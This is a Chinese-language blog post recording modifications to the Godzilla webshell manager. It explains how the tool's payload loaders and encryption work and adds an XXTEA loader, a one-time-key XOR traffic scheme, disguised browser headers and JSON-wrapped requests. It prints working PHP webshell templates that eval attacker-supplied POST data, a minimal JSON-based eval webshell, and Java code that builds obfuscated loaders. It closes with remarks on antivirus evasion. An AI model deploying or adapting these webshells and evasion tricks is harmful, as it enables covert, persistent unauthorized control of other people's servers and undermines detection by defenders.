哥斯拉二开记录1

源码准备

众所周知,哥斯拉虽然不提供源码,但jar未做反编译,所以可以进行二开。原版地址反编译网址,直接拖入jar包后下载压缩包。

在IDEA中配置,可以直接使用Java21进行编译开发:

配置源码目录为项目根目录就行:

然后当前反编译的很多官方库有误,直接编译项目会报错,需要转换成Maven进行包管理比较好,直接上Codex帮我检查能写在pom.xml里面的包,然后让它帮助调整项目结构到能正常编译为止,没必要自己浪费太多时间在搭环境上。

工作原理

core/shell/ShellEntity.java里面定义了webshell的实体类,比较重要的就是初始化这里,从上下文中获取了payloadcryption,也就是选择的不同语言的载荷类型和加密算法,cryptionModelpayloadModel都是两个接口类的对象,调用check()test()进行初始化检查。

这里以PHP路径为例,在shells/cryptions/phpXor/PhpEvalXor.java中,实现了Cryption类的方法,PHP_EVAL_XOR_BASE64用于进行流量的加解密:

载荷的生成也在类里面定义了,当然这里用的是generateEvalContent()方法生成,别的比如phpXorRaw就是使用generate()方法调用Generate类进行生成。

这是一个简单的base64+xor的载荷模板:base64.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='{pass}';
$payloadName='payload';
$key='{secretKey}';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

上面只是加解密的方法,或者说是原始payload的加载器,那原始payload在哪呢,在shells/payloads/php/PhpShell.java,实现了Payload类定义的各种方法,再在payload.php中定义真实的php载荷,通过getPayload()方法读入。

最后再通过evalFunc()发送真实的载荷请求。

到这就把一个Webshell管理的基本功能实现梳理完了。

新增Shell加载器

新增XXTEA加密的PHP加载器:

先把PHP_EVAL_XOR_BASE64的实现代码复制一份,基于eval的实现会更灵活一点。把目录名改成了phpLoader,更贴合这个模块,后续还可以写一个像冰蝎那样自定义加载器的功能。然后重新写一个加解密算法:

同样的需要创建一个xxtea.bin的模板用于在靶机上对载荷进行解密,这里不贴代码了,很简单。模板生成改为了传入模板名而不是之前的布尔选择,更灵活:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static byte[] GenerateShellLoder(String pass, String secretKey, String templateName) {
byte[] data = null;
try {
InputStream inputStream = Generate.class.getResourceAsStream("template/" + templateName);
String code = new String(functions.readInputStream(inputStream));
inputStream.close();
code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
code = TemplateEx.run(code);
data = code.getBytes();
} catch (Exception e) {
Log.error((Throwable)e);
}
return data;
}

那么新的加载器生成部分就这么写:

1
2
3
4
5
6
7
8
public String generateEvalContent() {
String eval = (new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), "xxtea.bin"))).replace("<?php", "");
eval = functions.base64EncodeToString(eval.getBytes());
eval = (new StringBuffer(eval)).reverse().toString();
eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", URLEncoder.encode(eval));
eval = URLEncoder.encode(eval);
return eval;
}

一次一密

在原理的基础上,改为一次一个解密密钥,如何设计呢,可以将原来的getSecretKeyX()生成的密钥作为预主密钥,用来加密之后每次生成的随机密钥。

1
2
3
public String getSecretKeyX() {
return functions.md5(this.getSecretKey()).substring(0, 16);
}

这里以xor加密为例,通信流程变化:

  • 旧版(固定密钥 XOR):请求: base64(XOR(data, fixedKey));响应: base64(XOR(result, fixedKey))
  • 新版(一次一密 XOR):请求: base64(XOR(ek, masterKey) + XOR(data, ek)) ← 16字节 + 数据;响应: base64(XOR(ek2, masterKey) + XOR(result, ek2)) ← 16字节 + 数据

encodedecode方法里面添加对随机密钥的加解密,

然后新的载荷模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);

function encode($D, $K) {
$len = strlen($D);
for ($i = 0; $i < $len; $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}

function genRandomKey($len = 16) {
if (function_exists('random_bytes')) {
try {
return random_bytes($len);
} catch (\Exception $e) {}
}
if (function_exists('openssl_random_pseudo_bytes')) {
$bytes = openssl_random_pseudo_bytes($len, $strong);
if ($strong) return $bytes;
}
$key = '';
for ($i = 0; $i < $len; $i++) {
$key .= chr(mt_rand(0, 255));
}
return $key;
}

$pass = '{pass}';
$payloadName = 'payload';
$key = '{secretKey}';

if (isset($_POST[$pass])) {
$encData = base64_decode($_POST[$pass]);
$encKey = substr($encData, 0, 16);
$encPayload = substr($encData, 16);
$ek = encode($encKey, $key);
$data = encode($encPayload, $ek);

if (isset($_SESSION[$payloadName])) {
$payload = encode($_SESSION[$payloadName], $key);
if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $key);
}
eval($payload);
$ek2 = genRandomKey(16);
$encResult = encode(@run($data), $ek2);
$encKey2 = encode($ek2, $key);
echo substr(md5($pass . $key), 0, 16);
echo base64_encode($encKey2 . $encResult);
echo substr(md5($pass . $key), 16);
} else {
if (strpos($data, "getBasicsInfo") !== false) {
$_SESSION[$payloadName] = encode($data, $key);
}
}
}

然后对一些细节再做一些修改就可以成功连接了。

流量伪装

/core/ui/component/frame/ShellSetting.java的文件中可以设置请求体的内容:

1
2
3
4
5
6
7
this.headersTextArea.setText(
"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15\n" +
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n" +
"Accept-Language: zh-TW,zh;q=0.9,en;q=0.8\n" +
"Accept-Encoding: gzip, deflate, br\n" +
"Upgrade-Insecure-Requests: 1\n"
);

或者:

1
2
3
4
5
6
7
this.headersTextArea.setText(
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36\n" +
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n" +
"Accept-Language: zh-CN,zh;q=0.9\n" +
"Accept-Encoding: gzip, deflate, br\n" +
"Upgrade-Insecure-Requests: 1\n"
);

可以改为Json格式的请求和响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public byte[] encode(byte[] data) {
try {
byte[] ek = generateRandomKey(16);
byte[] encData = this.E(data, ek);
byte[] encKey = this.E(ek, this.masterKey);
byte[] combined = new byte[encKey.length + encData.length];
System.arraycopy(encKey, 0, combined, 0, encKey.length);
System.arraycopy(encData, 0, combined, encKey.length, encData.length);
String json = String.format("{\"%s\":\"%s\",\"%s\":\"%s\"}",
functions.escapeJson(this.pass), functions.escapeJson(this.evalContent),
functions.escapeJson(this.shell.getSecretKey()), functions.base64EncodeToString(combined));
return json.getBytes();
} catch (Exception e) {
Log.error((Throwable)e);
return null;
}
}

然后解码可以直接只取其中有用的部分,比如我这里将返回值放在data里面,直接在findStr()方法里面实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public String findStr(byte[] respResult) {
String htmlString = new String(respResult);

String tag = "\"data\":\"";
int start = htmlString.indexOf(tag);
if (start >= 0) {
start += tag.length();
int end = htmlString.indexOf("\"", start);
if (end >= start) {
return htmlString.substring(start, end);
}
}

return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);
}

最后改一下加载器对json的解析适配就可以了。

实际效果:

响应:

请求体里面还有eval,想要没有只能修改webshell为下面这样:

1
2
3
<?php
$__i=json_decode(file_get_contents("php://input"),true);
$__i!==null&&eval(eval(base64_decode(strrev(urldecode($__i["{pass}"])))));

这样流量特征就更少了,但webshell就必须带上一次额外的eval执行(用临时文件的方式webshell可以不含有eval),但这里eval不太好做免杀,因为不能当作函数那样可以拼接混淆,感觉用system做一个免杀的上传之后,再写入一个哥斯拉的马比较好。

总之就是webshell和流量特征之间需要做取舍。